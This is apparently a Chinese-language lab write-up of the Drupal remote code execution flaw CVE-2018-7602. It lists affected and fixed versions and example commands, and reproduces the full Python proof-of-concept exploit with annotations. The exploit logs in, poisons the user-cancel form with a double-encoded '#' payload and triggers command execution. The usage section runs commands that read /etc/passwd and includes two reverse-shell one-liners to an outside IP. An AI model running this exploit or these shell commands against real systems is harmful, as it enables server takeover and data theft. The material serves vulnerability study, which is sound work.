Drupal远程代码执行(CVE-2018-7602)与其Poc分析

漏洞概述

这个漏洞是CVE-2018-7600的绕过利用，两个漏洞原理是一样的。攻击者可以通过不同方式利用该漏洞远程执行代码。CVE-2018-7602这个漏洞是CVE-2018-7600的另一个利用点，只是入口方式不一样。所以，一旦参数可控并且没有经过正确的过滤，就很有可能出问题。
 

漏洞影响

①对URL中的#进行编码两次，绕过sanitize()函数过滤
②任意命令执行
③…

影响版本

Drupal 7.x，8.x

修复版本

Drupal 7.59，Drupal 8.5.3，Drupal 8.4.8
 

漏洞复现及利用

-c参数后的"id"为要执行的命令 第一个root为用户名 第二个root为密码
python3 drupa7-CVE-2018-7602.py -c “id” root root http://127.0.0.1:8081/

//查看内核版本
python3 drupa7-CVE-2018-7602.py -c “uname -a” root root http://127.0.0.1:8081/

//查看敏感文件
python3 drupa7-CVE-2018-7602.py -c “cat …/…/…/…/…/etc/passwd” root root http://127.0.0.1:8081/

//反向shell（好像利用不到？）
①python3 drupa7-CVE-2018-7602.py -c “bash –i >& /dev/tcp/192.168.101.9/2333 0>&1” root root http://127.0.0.1:8081/
②python3 drupa7-CVE-2018-7602.py -c “cd …/…/…/…/…/…/ && bash –i >& /dev/tcp/192.168.101.9/2333 0>&1” root root http://127.0.0.1:8081/
③…传送门
 

poc简单分析

(都在注释里呢~)

#!/usr/bin/env python3

import requests
import argparse
from bs4 import BeautifulSoup

def get_args():  //获取参数
  parser = argparse.ArgumentParser( prog="drupa7-CVE-2018-7602.py",
                    formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
                    epilog= '''
                    This script will exploit the (CVE-2018-7602) vulnerability in Drupal 7 <= 7.58
                    using an valid account and poisoning the cancel account form (user_cancel_confirm_form) 
                    with the 'destination' variable and triggering it with the upload file via ajax (/file/ajax).
                    ''')

  parser.add_argument("user", help="Username")  //用户名
  parser.add_argument("password", help="Password")  //密码
  parser.add_argument("target", help="URL of target Drupal site (ex: http://target.com/)")  //目标
  parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id)")   //参数
  parser.add_argument("-f", "--function", default="passthru", help="Function to use as attack vector (default = passthru)")
  parser.add_argument("-x", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = none)")
  args = parser.parse_args()
  return args

def pwn_target(target, username, password, function, command, proxy):
  requests.packages.urllib3.disable_warnings()  //判断抓包无误
  session = requests.Session() //获取seesion
  proxyConf = {'http': proxy, 'https': proxy}  //none proxy
  try:
    print('[*] Creating a session using the provided credential...')
    get_params = {'q':'user/login'}  //构造get
    post_params = {'form_id':'user_login', 'name': username, 'pass' : password, 'op':'Log in'} //构造post
    print('[*] Finding User ID...')
    session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf) //构造postseesion
    get_params = {'q':'user'}
    r = session.get(target, params=get_params, verify=False, proxies=proxyConf)  //构造getseesion
    soup = BeautifulSoup(r.text, "html.parser") //爬取页面
    user_id = soup.find('meta', {'property': 'foaf:name'}).get('about')  //抓关键字
    if ("?q=" in user_id):
      user_id = user_id.split("=")[1]  //以=作分隔符，再通过索引[1]取出所得数组中的第二个元素的值
    if(user_id):
      print('[*] User ID found: ' + user_id)  //以上主要抓取user_id值

    print('[*] Poisoning a form using \'destination\' and including it in cache.')
    get_params = {'q': user_id + '/cancel'}
    r = session.get(target, params=get_params, verify=False, proxies=proxyConf)
    soup = BeautifulSoup(r.text, "html.parser")
    form = soup.find('form', {'id': 'user-cancel-confirm-form'})
    form_token = form.find('input', {'name': 'form_token'}).get('value') //以上主要获取form_token参数值

    // %23是#的URL编码
    //其中%2523是对#的两次URL编码 %25是%的URL编码
    //例如：POST /drupal-7.59/drupal-7.59/node/9/delete?destination=node?q[%2523][]=passthru%26q[%2523type]=markup%26q[%2523markup]=id
    get_params = {'q': user_id + '/cancel', 'destination' : user_id +'/cancel?q[%23post_render][]=' + function + '&q[%23type]=markup&q[%23markup]=' + command }
    // # 绕过sanitize(),stripDangrousValues函数检查。
    //在Drupal应用对destination URL进行处理时，会再次解码%23,获得#
    

    post_params = {'form_id':'user_cancel_confirm_form','form_token': form_token, '_triggering_element_name':'form_id', 'op':'Cancel account'}

    r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
    soup = BeautifulSoup(r.text, "html.parser")
    form = soup.find('form', {'id': 'user-cancel-confirm-form'})
    form_build_id = form.find('input', {'name': 'form_build_id'}).get('value')

    //关键点是让系统缓存一个form_build_id，这个form存着我们传入的恶意参数，第二个请求从中取出来然后执行
    //触发漏洞还是需要发两个post包，一个存入form_build_id一个取出后执行
    if form_build_id:
        print('[*] Poisoned form ID: ' + form_build_id)
        print('[*] Triggering exploit to execute: ' + command)
        get_params = {'q':'file/ajax/actions/cancel/#options/path/' + form_build_id}
        post_params = {'form_build_id':form_build_id}
        r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
        parsed_result = r.text.split('[{"command":"settings"')[0]
        print(parsed_result)
  except:
    print("ERROR: Something went wrong.")
    raise

def main():
  print ()
  print ('===================================================================================')
  print ('|   DRUPAL 7 <= 7.58 REMOTE CODE EXECUTION (SA-CORE-2018-004 / CVE-2018-7602)     |')
  print ('|                                   by pimps                                      |')
  print ('===================================================================================\n')

  args = get_args() # get the cl args  //return args
  pwn_target(args.target.strip(),args.user.strip(),args.password.strip(), args.function.strip(), args.command.strip(), args.proxy.strip()) //目标，用户名，密码，参数值


if __name__ == '__main__':
  main()

 
GOT IT！
简单收获——对poc又进一步了解

 
******************************************************
小实验小结，具体测试利用方式需根据具体实践场景~